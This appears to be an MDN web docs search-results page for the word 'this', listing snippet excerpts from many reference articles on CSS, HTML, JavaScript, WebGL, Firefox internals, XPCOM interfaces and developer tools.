this: // // initialize a texture and load an image.
...And 13 more matches
WebRTC connectivity - Web APIs
this article describes how the various webrtc-related protocols interact with one another in order to create a connection and transfer data and/or media among peers.
... note:
this page needs heavy rewriting for structural integrity and content completeness.
... lots of info here is good but the organization is a mess since
this is sort of a dumping ground right now.
...And 13 more matches
ARIA annotations - Accessibility
note: you can find all the examples discussed in
this article in a demo file at aria-annotations.
...
this is semantically equivalent to the html <mark> element.
...
this should be used on an element that wraps a single insertion and deletion (see role="insertion" and role="deletion" above).
...And 13 more matches
:is() (:matches(), :any()) - CSS: Cascading Style Sheets
this is useful for writing large selectors in a more compact form.
... note that currently browsers support
this functionality as :matches(), or through an older, prefixed pseudo-class — :any(), including older versions of chrome, firefox, and safari.
...'='<attr-modifier> = i | s examples cross-browser example <header> <p>
this is my header paragraph</p> </header> <main> <ul> <li><p>
this is my first</p><p>list item</p></li> <li><p>
this is my second</p><p>list item</p></li> </ul> </main> <footer> <p>
this is my footer paragraph</p> </footer> :-webkit-any(header, main, footer) p:hover { color: red; cursor: pointer; } :-moz-any(header, main, footer) p:hover { color: red; cursor: pointer; } :matche...
...And 13 more matches
Subgrid - CSS: Cascading Style Sheets
this guide details what subgrid does, and gives some use cases and design patterns that are solved by the feature.
... important:
this feature is shipped in firefox 71, which is currently the only browser to implement subgrid.
...
this makes it difficult to line nested grid items up with the main grid.
...And 13 more matches
Basic Shapes - CSS: Cascading Style Sheets
css shapes can be defined using the <basic-shape> type, and in
this guide i’ll explain how each of the different values accepted by
this type work.
...
this type uses functional notation: the type of shape is followed by brackets, inside of which are additional values used to describe the shape.
... .shape { shape-outside: circle(50%) margin-box; } you can therefore change
this in order that your shape uses the different parts of the box model, for example to use the border.
...And 13 more matches
Value definition syntax - CSS: Cascading Style Sheets
in addition to
this syntax, the set of valid values can be further restricted by semantic constraints (for example, for a number to be strictly positive).
...in
this case, the data type shares the same set of values as the property.
...in
this case, the definition is usually physically very close to the definition of the property using them.
...And 13 more matches
text-transform - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this resulted in differences between browsers in the way the first letter was calculated (firefox considered - and _ as letters, but other browsers did not.
...internet explorer 9 was the closest to the css 2 definition, but with some weird cases.) by precisely defining the correct behavior, css text level 3 cleans
this mess up.
...And 13 more matches
<details>: The Details disclosure element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...
this might look like the following: here we see a standard disclosure widget with the label "system requirements", in its default closed state.
... note: unfortunately, at
this time there's no built-in way to animate the transition between open and closed.
...And 13 more matches
<input type="radio"> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... the resulting html looks like
this: <form> <p>please select your preferred contact method:</p> <div> <input type="radio" id="contactchoice1" name="contact" value="email"> <label for="contactchoice1">email</label> <input type="radio" id="contactchoice2" name="contact" value="phone"> <label for="contactchoice2">phone</label> <input type="radio" id="contactchoice3" name="contact" value="mail"...
... you can try out
this example here: data representation of a radio group when the above form is submitted with a radio button selected, the form's data includes an entry in the form contact=value.
...And 13 more matches
<table>: The Table element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... content categories flow content permitted content in
this order: an optional <caption> element, zero or more <colgroup> elements, an optional <thead> element, either one of the following: zero or more <tbody> elements one or more <tr> elements an optional <tfoot> element tag omission none, both the starting and ending tag are mandatory.
... permitted parents any element that accepts flow content implicit aria role table permitted aria roles any dom interface htmltableelement attributes
this element includes the global attributes.
...And 13 more matches
Preloading content with rel="preload" - HTML: Hypertext Markup Language
this ensures they are available earlier and are less likely to block the page's render, improving performance.
...
this article provides a basic guide to how <link rel="preload"> works.
... a simple example might look like
this (see our js and css example source, and also live): <head> <meta charset="utf-8"> <title>js and css preload example</title> <link rel="preload" href="style.css" as="style"> <link rel="preload" href="main.js" as="script"> <link rel="stylesheet" href="style.css"> </head> <body> <h1>bouncing balls</h1> <canvas></canvas> <script src="main.js" defer></script> </body> here we prel...
...And 13 more matches
Content negotiation - HTTP
the server uses
this url to choose one of the variants it provides – each variant being called a representation – and returns a specific representation to the client.
...though strictly speaking user-agent is not in
this list, it is sometimes also used to send a specific representation of the requested resource, though
this is not considered as a good practice.
... the information by the client is quite verbose (http/2 header compression mitigates
this problem) and a privacy risk (http fingerprinting) as several representations of a given resource are sent, shared caches are less efficient and server implementations are more complex.
...And 13 more matches
JavaScript data types and data structures - JavaScript
this article attempts to list the built-in data structures available in javascript and what properties they have.
...
this is merely a special shorthand for functions, though every function constructor is derived from object constructor.
... beyond
this range, integers in javascript are not safe anymore and will be a double-precision floating point approximation of the value.
...And 13 more matches
Regular expressions - JavaScript
this chapter describes javascript regular expressions.
...if the regular expression remains constant, using
this can improve performance.
...the match made with
this part of the pattern is remembered for later use, as described in using groups.
...And 13 more matches
Media - Progressive web apps (PWAs)
this is the 14th and last section of part i of the css getting started tutorial.
... many pages in
this tutorial focused on the css properties and values, as well as how you use these to specify the way that content displays.
...
this presentation can take more than one form.
...And 13 more matches
Paths - SVG: Scalable Vector Graphics
when the parser runs into
this letter, it knows it needs to move to a point.
...
this command draws a straight line from the current position back to the first point of the path.
...in
this case, a shortcut version of the cubic bézier can be used, designated by the command s (or s).
...And 13 more matches
Interacting with page scripts - Archive of obsolete content
for the sake of security, stability, and simplicity,
this is usually what you want.
...
this guide describes: how to share objects between content scripts and page scripts how to send messages between content scripts and page scripts sharing objects with page scripts there are two possible cases here: a content script might want to access an object defined by a page script a content script might want to expose an object to a page script access objects defined by page scripts to access page script objects from content scripts, you can use the global unsafewindow object.
... in
this example a page script adds a string variable foo to the window: <!doctype html"> <html> <head> <script> window.foo = "hello from page script" </script> </head> </html> the content script can see
this object if it uses unsafewindow.foo instead of window.foo: // main.js var tabs = require("sdk/tabs"); var mod = require("sdk/page-mod"); var self = require("sdk/self"); var pageurl = self.data.url("page.html") var pagemod = mod.pagemod({ include: pageurl, contentscript: "console.log(unsafewindow.foo);" }) tabs.open(pageurl); be careful using unsafewindow...
...And 12 more matches
core/promise - Archive of obsolete content
while
this has a good reason and many advantages, it comes with a price.
... instead of structuring our programs into logical black boxes: function blackbox(a, b) { var c = assemble(a); return combine(b, c); } we're forced into continuation passing style, involving lots of machinery: function sphagetti(a, b, callback) { assemble(a, function continuewith(error, c) { if (error) callback(error); else combine(b, c, callback); }); }
this style also makes doing things in sequence hard: widget.on('click', function onclick() { promptuserfortwitterhandle(function continuewith(error, handle) { if (error) return ui.displayerror(error); twitter.gettweetsfor(handle, funtion continuewith(error, tweets) { if (error) return ui.displayerror(error); ui.showtweets(tweets); }); }); }); doing things in parallel is even harder: var tweets,...
...esult) { tweets = result; somethingfinished(); }); stackoverflow.getanswersfor(question, function continuewith(result) { answers = result; somethingfinished(); }); foursquare.getcheckinsby(user, function continuewith(result) { checkins=result; somethingfinished(); }); var finished = 0; function somethingfinished() { if (++finished === 3) ui.show(tweets, answers, checkins); }
this also makes error handling quite an adventure.
...And 12 more matches
dev/panel - Archive of obsolete content
this module is new in firefox 34.
... note that at the moment you can't debug remote targets (for example, firefox os, the firefox os simulator, or firefox for android) using tools developed with
this api.
... we're working on removing
this restriction.
...And 12 more matches
window/utils - Archive of obsolete content
usage private windows with
this module your add-on will see private browser windows even if it has not explicitly opted into private browsing, so you need to take care not to store any user data derived from private browser windows.
...private windows will not be included in
this list if your add-on has not opted into private browsing.
...
this function wraps nsidomwindowutils.currentinnerwindowid.
...And 12 more matches
Chapter 1: Introduction to Extensions - Archive of obsolete content
draft
this page is not complete.
... « previousnext » note: if you want contribute to
this document please following guidelines from the contribute page.
...
this document was authored by hideyuki emura and was originally published in japanese for the firefox developers conference summer 2007.
...And 12 more matches
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
this article is aimed at presenting alternatives to common eval uses in add-ons and other javascript code.
...often
this is done passing around strings.
...
this is important to know in particular when you later want to call removeeventlistener: you'll have to pass the resulting function from the first .bind() call.
...And 12 more matches
Signing an XPI - Archive of obsolete content
introduction
this article describes how to sign your own firefox extensions with a code-signing certificate on a windows platform.
...
this article is a mirror of the original, with minor reformatting, some new info and all links updated in march 2010.
...you can either set
this permanently via control panel->system properties->advanced->environment variables->system variables or do it each time you run the tools from the command-line (preferably using a batch file).
...And 12 more matches
Promises - Archive of obsolete content
this interface replaces the previous, complicated xpcom nsifile and streams apis, and their related javascript helper modules.
...while
this api does not have direct support for promises, its standard usage is very easy to adapt to a promise-based approach.
... //
this will raise an error if either download fails.
...And 12 more matches
Localizing an extension - Archive of obsolete content
« previousnext »
this article expands upon the previous samples on extension writing by adding localization support to our stock watcher extension.
...if you haven't already created an extension, or would like to refresh your memory, take a look at the previous articles in
this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension download the sample you can download
this article's sample code so you can look at it side-by-side with the article, or to use it as a basis for your own extension.
...the preference dialog, whose xul file is options.xul, has a corresponding options.dtd file that looks like
this: <!entity options_window_title "stockwatcher 2 preferences"> <!entity options_symbol.label "stock to watch: "> the "options_window_title" entity maps to the string "stockwatcher 2 preferences", which is used as the title of the preference window.
...And 12 more matches
Table Cellmap - Archive of obsolete content
introduction the table layout use the cellmap for two purposes: quick lookup of table structural data store of the border collapse data the cellmap code is contained in nscellmap.cpp and nscellmap.h
this document does currently describe only the quick lookup part of the game, border collapse is still far away cellmap data - overview the entries in the cellmap contain information about the table cell frame corresponding to a given row and column number (celldata.h).
... further it contains info whether
this entry is a row- or colspan.
... 79 //
this union relies on the assumption that an object (not primitive type) does 80 // not start on an odd bit boundary.
...And 12 more matches
Building Trees - Archive of obsolete content
this means that dom nodes are not constructed for any of the items.
...
this is much more efficient; creating large numbers of dom nodes adds a lot of overhead.
...without
this flag, the template will be handled by the content builder.
...And 12 more matches
Special Condition Tests - Archive of obsolete content
this is useful for recursive templates, since the inner iterations may use different content.
...
this causes the rule to match only content that would be inserted in a vbox element.
... as the outer element is a vbox,
this will match for all results in the first iteration of the template.
...And 12 more matches
Using Recursive Templates - Archive of obsolete content
this is usually used to generate content in a tree or menu.
...for example, using
this xml datasource: <people> <group name="male"> <person name="napoleon bonaparte"/> <person name="julius caesar"/> <person name="ferdinand magellan"/> </group> <group name="female"> <person name="cleopatra"/> <person name="laura secord"/> </group> </people> we could display
this data in a flat list by using the right query: <query expr="group/person/"> or, we could display one level for the two groups, and use another level for each person.
... <groupbox type="menu" datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="*"/> <action> <vbox uri="?" class="indent"> <label value="?name"/> </vbox> </action> </template> </groupbox> in
this simplified example, the xpath expression just gets the list of child elements of the reference node.
...And 12 more matches
Custom Tree Views - Archive of obsolete content
in
this section, we will look at creating a custom view.
...
this is necessary when the page has a lot of data or that data is highly nested.
...the following example shows
this: <tree id="my-tree" flex="1"> <treecols> <treecol id="namecol" label="name" flex="1"/> <treecol id="datecol" label="date" flex="1"/> </treecols> <treechildren/> </tree> to assign data to be displayed in the tree, the view object needs to be created which is used to indicate the value of each cell, the total number of rows plus other optional information.
...And 12 more matches
Popup Menus - Archive of obsolete content
this type of popup is usually used to provide a description of a button in more detail than can be provided on the button itself.
...we'll see what
this means soon.
...
this is a generic container for popups, and is optional.
...And 12 more matches
label - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ]
this element is used to provide a label for a control element.
... attributes accesskey, control, crop, disabled, href, value properties accesskey, accessibletype, control, crop, disabled, value style classes header, indent, monospace, plain, small-margin, text-link examples <label value="email address" control="email"/> <textbox id="email"/> attributes accesskey type: character
this should be set to a character that is used as a shortcut key.
...
this should be one of the characters that appears in the label attribute for the element.
...And 12 more matches
Desktop mouse and keyboard controls - Game development
we'll look at
this below.
... we could write our own keycode object containing the key codes, for example: var keyboardhelper = { left: 37, up: 38, right: 39, down: 40 }; that way instead of using the codes to compare the input in the handler functions we could do something like
this, which is arguably easier to remember: if(event.keycode == keyboardhelper.left) { leftpressed = true; } note: you can also find a list if the different keycodes and what keys they relate to in the keycode reference page.
... you can see
this example in action online at end3r.github.io/javascript-game-controls and the full source code can be found at github.com/end3r/javascript-game-controls.
...And 12 more matches
Tiles and tilemaps overview - Game development
this results in performance and memory usage gains — big image files containing entire level maps are not needed, as they are constructed by small images or image fragments multiple times.
...
this set of articles covers the basics of creating tile maps using javascript and canvas (although the same high level techniques could be used in any programming language.) besides the performance gains, tilemaps can also be mapped to a logical grid, which can be used in other ways inside the game logic (for example creating a path-finding graph, or handling collisions) or to create a level editor.
... some popular games that use
this technique are super mario bros, pacman, zelda: link's awakening, starcraft, and sim city 2000.
...And 12 more matches
Tips for authoring fast-loading HTML pages - Learn web development
this can be crucial for high volume sites or sites which have a spike in traffic due to unusual circumstances such as breaking news stories.
...
this technique works best with elements that will have limited dimensions, and will not work for every use of a background image.
... use a content delivery network (cdn) for the purposes of
this article, a cdn is a means to reduce the physical distance between your server and your visitor.
...And 12 more matches
Silly story generator - Learn web development
previous overview: first steps in
this assessment you'll be tasked with taking some of the knowledge you've picked up in
this module's articles and applying it to creating a fun app that generates random silly stories.
... prerequisites: before attempting
this assessment you should have already worked through all the articles in
this module.
... starting point to get
this assessment started, you should: go and grab the html file for the example, save a local copy of it as index.html in a new directory somewhere on your computer, and do the assessment locally to begin with.
...And 12 more matches
Rendering a list of Vue components - Learn web development
previous overview: client-side javascript frameworks next at
this point we've got a fully working component; we're now ready to add multiple todoitem components to our app.
... in
this artcle we'll look at adding a set of todo item data to our app.vue component, which we'll then loop through and display inside todoitem components using the v-for directive.
...
this is a built-in vue directive that lets us include a loop inside of our template, repeating the rendering of a template feature for each item in an array.
...And 12 more matches
Creating reftest-based unit tests
this idea can seem odd when first encountered.
... creating reftest-based unit tests your first reftest it is a silly example, but
this will step you through creating your first reftest.
...sorry about
this, but the released builds and the nightly builds are built with the "--disable-tests" option and reftest will not work - see bug 369809.
...And 12 more matches
Debugging on Mac OS X
this document explains how to debug mozilla-derived applications such as firefox, thunderbird, and seamonkey on macos using xcode.
... official builds at
this time, official builds of firefox 69 and later are notarized.
...
this is due to notarization requiring hardened runtime to be enabled with the com.apple.security.get-task-allow entitlement disallowed.
...And 12 more matches
Creating Custom Events That Can Pass Data
this page describes how to implement custom dom events that can be used to pass data.
... using
this technique you can add extra parameters and query them.
... for example, if you want firefox to perform an action whenever something happens (i.e., something other than the standard mouse/keyboard events) and, depending on the data passed along with
this event, you want firefox to react differently.
...And 12 more matches
Localizing with Mercurial
this will not only install hg, but also all the tools required to build mozilla products on windows.
... trust us, you'll want
this eventually.
... part of the command line hg install for windows involves making sure the hg executable is in the system's %path% variable (tortoisehg doesn't need
this step).
...And 12 more matches
A brief guide to Mozilla preferences
this article is intended for mozilla power users and system administrators.
...the only exception to
this is user.js .
...they are: default preference files firefox ships default preferences in several files, all in the application directory: greprefs.js - preferences shared by all applications using the mozilla platform services/common/services-common.js - preferences for some shared services code,
this should arguably be included in some other file defaults/pref/services-sync.js - default preferences for firefox sync, also oddly misplaced browser/app/profile/channel-prefs.js - a file indicating the user's update channel.
...And 12 more matches
Mozilla-JSS JCA Provider notes
the mozilla-jss jca provider newsgroup: mozilla.dev.tech.crypto overview
this document describes the jca provider shipped with jss.
...the maintainers of jss, sun, red hat, and mozilla, have
this approval and signs the official builds of jss4.jar.
... at runtime, the jre automatically verifies
this signature whenever a jss class is loaded that implements a jce algorithm.
...And 12 more matches
NSS Tools ssltap
availability
this tool is known to build on solaris 2.5.1 (sunos 5.5.1) and windows nt 4.0.
...once
this connection arrives, the tool makes another connection to the specified host name and port on the server side.
...it can do
this for plain http connections or any tcp protocol, as well as for ssl streams, as described here.
...And 12 more matches
TPS Tests
} note that in
this example, the foobar@restmail.net account must be registered on stage, otherwise authentication will fail (and the whole test will fail as well.
...additionally, note that the config file must parse as valid json, and so you can't have comments in it (sorry, i know
this is annoying).
...
this is an implementation detail, but if you work with tps for any amount of time you will almost certainly see cleanup-profile1 or similar in the logs.
...And 12 more matches
WebReplayRoadmap
this document describes existing, planned, and potential features for the firefox developer tools that are based on web replay, along with their ui.
... to that end,
this document will be revised over time as we find new and better ways of helping developers.
...
this is time consuming, especially when the bug only reproduces intermittently.
...And 12 more matches
Interfacing with the XPCOM cycle collector
this is a quick overview of the cycle collector introduced into xpcom for firefox 3, including a description of the steps involved in modifying an existing c++ class to participate in xpcom cycle collection.
... if you have a class that you think is involved in a cyclical-ownership leak,
this page is for you.
...
this is the idle stage of the collector's operation, in which special variants of nsautorefcnt register and unregister themselves very rapidly with the collector, as they pass through a "suspicious" refcount event (from n+1 to n, for nonzero n).
...And 12 more matches
NS_ConvertASCIItoUTF16
ternal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal& operator=(const nssubstringtuple&) - source parameters nssubstringtuple& tuple get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within
this string.
... @param astring is substring to be sought in
this @param aignorecase selects case sensitivity @param aoffset tells us where in
this string to start searching @param acount tells us how far from the offset we are to search.
...ignorecase print32 aoffset print32 acount print32 find(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& astring print32 aoffset print32 acount print32 find(const prunichar*, print32, print32) const - source parameters prunichar* astring print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source
this methods scans the string backwards, looking for the given string @param astring is substring to be sought in
this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in
this string to start searching.
...And 12 more matches
NS_ConvertUTF8toUTF16
ternal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal& operator=(const nssubstringtuple&) - source parameters nssubstringtuple& tuple get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within
this string.
... @param astring is substring to be sought in
this @param aignorecase selects case sensitivity @param aoffset tells us where in
this string to start searching @param acount tells us how far from the offset we are to search.
...ignorecase print32 aoffset print32 acount print32 find(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& astring print32 aoffset print32 acount print32 find(const prunichar*, print32, print32) const - source parameters prunichar* astring print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source
this methods scans the string backwards, looking for the given string @param astring is substring to be sought in
this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in
this string to start searching.
...And 12 more matches
nsPromiseFlatString
ternal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal& operator=(const nssubstringtuple&) - source parameters nssubstringtuple& tuple get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within
this string.
... @param astring is substring to be sought in
this @param aignorecase selects case sensitivity @param aoffset tells us where in
this string to start searching @param acount tells us how far from the offset we are to search.
...ignorecase print32 aoffset print32 acount print32 find(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& astring print32 aoffset print32 acount print32 find(const prunichar*, print32, print32) const - source parameters prunichar* astring print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source
this methods scans the string backwards, looking for the given string @param astring is substring to be sought in
this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in
this string to start searching.
...And 12 more matches
mozIStorageAggregateFunction
this is an interface that must be implemented by consumers.
... objects implementing
this interface can be registered with mozistorageconnection.createaggregatefunction().
... storage/public/mozistorageaggregatefunction.idlscriptable please add a summary to
this article.
...And 12 more matches
nsIDOMEvent
dom/interfaces/events/nsidomevent.idlscriptable
this interface is the primary data type for all events in the document object model.
... inherits from: nsisupports last changed in gecko 16.0 (firefox 16.0 / thunderbird 16.0 / seamonkey 2.13) note: as of gecko 16.0, the nsiprivatedomevent interface was merged into
this interface.
...
this is particularly useful during capturing and bubbling.
...And 12 more matches
nsIDownloadProgressListener
/toolkit/components/downloads/nsidownloadprogresslistener.idlscriptable
this interface gives applications and extensions a way to monitor the status of downloads being processed by the download manager.
... inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) to use simply implement
this interface in your code, then call nsidownloadmanager.addlistener() to start listening.
...
this interface works very similarly to the nsiwebprogress interface.
...And 12 more matches
nsILivemarkService
toolkit/components/places/public/nsilivemarkservice.idlscriptable
this interface is used to create and reload livemarks.
... you can also use
this check whether something is a livemark or not.
... 1.0 66 introduced gecko 1.8 obsolete gecko 22.0 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0)
this interface is obsolete.
...And 12 more matches
nsINavHistoryContainerResultNode
amonkey 2.1) method overview nsinavhistoryresultnode findnodebydetails(in autf8string auristring, in prtime atime, in long long aitemid, in boolean arecursive); nsinavhistoryresultnode getchild(in unsigned long aindex); unsigned long getchildindex(in nsinavhistoryresultnode anode); attributes attribute type description childcount unsigned long the number of child nodes; accessing
this throws an ns_error_not_available exception of containeropen is false.
...
this is false for bookmark folder nodes unless the setfolderreadonly() method has been called to specifically make the folder read-only.
...if
this container is a remote container,
this flag may be redefined by the remote container provider.
...And 12 more matches
nsIProxyInfo
this interface identifies a proxy server.
... netwerk/base/public/nsiproxyinfo.idlscriptable please add a summary to
this article.
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports attributes attribute type description failoverproxy nsiproxyinfo
this attribute specifies the proxy to failover to when
this proxy fails.
...And 12 more matches
nsISelectionController
content/base/public/nsiselectioncontroller.idlscriptable please add a summary to
this article.
... void wordmove(in boolean forward, in boolean extend); attributes attribute type description caretvisible boolean
this is true if the caret is enabled, visible, and currently blinking.
...
this is still true when the caret is enabled, visible, but in its "off" blink cycle.
...And 12 more matches
nsIThread
this interface provides a high-level abstraction for an operating system thread.
... xpcom/threads/nsithread.idlscriptable please add a summary to
this article.
...
this causes events to stop being dispatched to the thread, and causes any pending events to run to completion before the thread joins with the current thread (see pr_jointhread() for details).
...And 12 more matches
nsITimer
xpcom/threads/nsitimer.idlscriptable please add a summary to
this article.
...
this target must be set before calling any of the initialization methods.
...must be one of the constants defined under constants on
this page.
...And 12 more matches
nsITransferable
isprivatedata boolean although
this is not a read-only attribute, you should generally avoid changing it, since doing so may cause it not to actually reflect the status of the context in which the transferable was created.
... requestingnode nsidomnode the source dom node
this transferable was created from.
... note: currently,
this can only be used on windows (in order to support network principal information in drag operations).
...And 12 more matches
nsIZipReader
modules/libjar/nsizipreader.idlscriptable
this interface provides methods for reading compressed (zip) files.
...
this can mismatch characters in the nsizipreader api.
...d openinner(in nsizipreader zipreader, in autf8string zipentry); void openinner(in nsizipreader zipreader, in string zipentry); obsolete since gecko 10 void test(in autf8string aentryname); void test(in string aentryname); obsolete since gecko 10 attributes attribute type description file nsifile the file that represents the zip with which
this zip reader was initialized.
...And 12 more matches
XPCOM string functions
this is a low-level api.ns_cstringclonedatathe ns_cstringclonedata function returns a null-terminated, heap allocated copy of the string's internal buffer.ns_cstringcontainerfinishthe ns_cstringcontainerfinish function releases any memory allocated by a nscstringcontainer instance.ns_cstringcontainerinitthe ns_cstringcontainerinit function initializes a nscstringcontainer instance for use as a nsacstring.ns_cstringcontainerinit2the ns_cstringcontainerinit2 function initializes a nscstringc...
...
this is a low-level api.ns_cstringcutdatathe ns_cstringcutdata function removes a section of the string's internal buffer.
...
this is a low-level api.ns_cstringgetdatathe ns_cstringgetdata function gives the caller read access to the string's internal buffer.ns_cstringgetmutabledatathe ns_cstringgetmutabledata function gives the caller write access to the string's internal buffer.ns_cstringinsertdatathe ns_cstringinsertdata function appends data to the existing value of a nsacstring instance.
...And 12 more matches
UI Tour - Firefox Developer Tools
this article is a quick tour of the main sections of the javascript debugger's user interface.
... ignore source causes the debugger to skip the file when "stepping into" functions;
this can be helpful for avoiding stepping into libraries used by your code.
...the name of the selected directory is shown at the top of the source list pane; clicking
this name reverts the pane to showing all source items.
...And 12 more matches
Aggregate view - Firefox Developer Tools
before firefox 48,
this was the default view of a heap snapshot.
... after firefox 48, the default view is the tree map view, and you can switch to the aggregate view using the dropdown labeled "view:": the aggregate view looks something like
this: it presents a breakdown of the heap's contents, as a table.
...you can use
this to filter the contents of the snapshot that are displayed, so you can quickly see, for example, how many objects of a specific class were allocated.
...And 12 more matches
Network request details - Firefox Developer Tools
this pane provides more detailed information about the request.
... the screenshots and descriptions in
this section reflect firefox 78.
... the tabs at the top of
this pane enable you to switch between the following pages: headers messages (only for websocket items) cookies params response cache timings security (only for secure pages) stack trace (only when the request has a stack trace, e.g.
...And 12 more matches
Animating CSS properties - Firefox Developer Tools
this operation is labeled "layout" but is also sometimes called "reflow".
...one last step is not shown in
this sequence: the page may be split into layers, which are painted independently and then combined in a process called "composition".
...
this sequence needs to fit into a single frame, since the screen isn't updated until it is complete.
...And 12 more matches
Waterfall - Firefox Developer Tools
this includes the marker's duration and some more information that's specific to the marker type.
...
this operation is sometimes called "reflow".
...click the link to see the allocation profile leading up to
this gc event.
...And 12 more matches
about:debugging (before Firefox 68) - Firefox Developer Tools
whether or not system add-ons appear in the list on
this page depends on the setting of the devtools.aboutdebugging.showsystemaddons preference.
... if you need to see system add-ons, navigate to about:config and make sure that
this value is set to true.
...
this page enables you to do two things: load an add-on temporarily from disk connect the add-on debugger to any restartless add-ons connecting the add-on debugger the add-ons page in about:debugging lists all restartless add-ons that are currently installed (note that
this list may include add-ons that came preinstalled with your firefox).
...And 12 more matches
Transformations - Web APIs
« previousnext » earlier in
this tutorial we've learned about the canvas grid and the coordinate space.
... a save and restore canvas state example
this example tries to illustrate how the stack of drawing states functions by drawing a set of consecutive rectangles.
...next we save
this state and make changes to the fill color.
...And 12 more matches
FileHandle API - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
... api overview
this api is based on the following interfaces: idbdatabase.mozcreatefilehandle (was called idbdatabase.mozcreatefilehandle.) idbmutablefile (was previously filehandle.) lockedfile filerequest it also has connections with the file api, especially the file and blob interfaces.
... var idbreq = indexeddb.open("myfilestoragedatabase"); idbreq.onsuccess = function(){ var db =
this.result; var buildhandle = db.mozcreatefilehandle("test.txt", "plain/text"); buildhandle.onsuccess = function(){ var myfilehandle =
this.result; console.log('handle', myfilehandle); }; }; mozcreatefilehandle() takes two arguments: a name and an optional type.
...And 12 more matches
HTMLHyperlinkElementUtils - Web APIs
there are no objects of
this type, but several objects such as htmlanchorelement and htmlareaelement implement it.
... properties note:
this interface doesn't inherit any property.
... htmlhyperlinkelementutils.href
this a stringifier property that returns a usvstring containing the whole url, and allows the href to be updated.
...And 12 more matches
PointerEvent - Web APIs
typically,
this is determined by considering the pointer's location and also the visual layout of elements in a document on screen media.
... properties
this interface inherits properties from mouseevent and event.
... pointerevent.pointertype read only indicates the device type that caused the event (mouse, pen, touch, etc.) pointerevent.isprimary read only indicates if the pointer represents the primary pointer of
this pointer type.
...And 12 more matches
SVGSVGElement - Web APIs
this interface contains also various miscellaneous commonly-used utility methods, such as matrix operations and the ability to control the time of redraw on visual rendering devices.
...eb/api/svgsvgelement" target="_top"><rect x="131" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="196" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgsvgelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent, svggraphicselement and also implements the ones from svgzoomandpan, svgfittoviewbox, and windoweventhandlers.
...if no parent element exists (i.e., <svg> element represents the root of the document tree), if
this svg document is embedded as part of another document (e.g., via the html <object> element), then the position and size are unitless values in the coordinate system of the parent document.
...And 12 more matches
WebGLRenderingContext.vertexAttribPointer() - Web APIs
for types gl.float and gl.half_float,
this parameter has no effect.
... when using a webgl 2 context, a gl.invalid_operation error is thrown if
this vertex attribute is defined as a integer in the vertex shader (e.g.
...first, we need to bind the webglbuffer we want to use to gl.array_buffer, then, with
this method, gl.vertexattribpointer(), we specify in what order the attributes are stored, and what data type they are in.
...And 12 more matches
Lighting in WebGL - Web APIs
fortunately, it's not all that hard to do, and
this article will cover some of the basics.
...
this example uses the glmatrix library to perform its matrix and vertex math.
... you'll need to include it if you create your own project based on
this code.
...And 12 more matches
Writing a WebSocket server in C# - Web APIs
in
this article i will show you how to write one in c#.
...
this server conforms to rfc 6455 so it will only handle connections from chrome version 16, firefox 11, ie 10 and over.
... properties: int available
this property indicates how many bytes of data have been sent.
...And 12 more matches
Keyboard-navigable JavaScript widgets - Accessibility
this document describes techniques to make javascript widgets accessible with the keyboard.
...to do
this, authors can set tabindex to any positive number.
...tabindex="0") yes in tab order relative to element's position in document (note that interactive elements like <a> have
this behavior by default, they don't need the attribute).
...And 12 more matches
Perceivable - Accessibility
this article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the perceivable principle of the web content accessibility guidelines (wcag) 2.0 and 2.1.
...
this is for the benefit of people who can't hear the audio part of the video.
...
this is for the benefit of people who can't see the visual part of the video, and don't get the full content from the audio alone.
...And 12 more matches
Understandable - Accessibility
this article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the understandable principle of the web content accessibility guidelines (wcag) 2.0 and 2.1.
... guideline 3.1 — readable: make text content readable and understandable
this guideline focuses on making text content as understandable as possible.
...
this is essential for purposes like making sure the reader has arrived at a page written in a language suitable for them.
...And 12 more matches
:where() - CSS: Cascading Style Sheets
examples comparing :where() and :is()
this example shows how :where() works, and also illustrates the difference between :where() and :is().
...
this <a href="https://mozilla.org">contains a link</a>.
...
this <a href="https://developer.mozilla.org">also contains a link</a>.
...And 12 more matches
system - CSS: Cascading Style Sheets
syntax /* keyword values */ system: cyclic; system: numeric; system: alphabetic; system: symbolic; system: additive; system: fixed; /* combined values */ system: fixed 3; system: extends decimal;
this may take one of three forms: one of the keyword values cyclic, numeric, alphabetic, symbolic, additive, or fixed.
...
this system is useful for simple bullet styles with just one symbol, or for styles having multiple symbols.
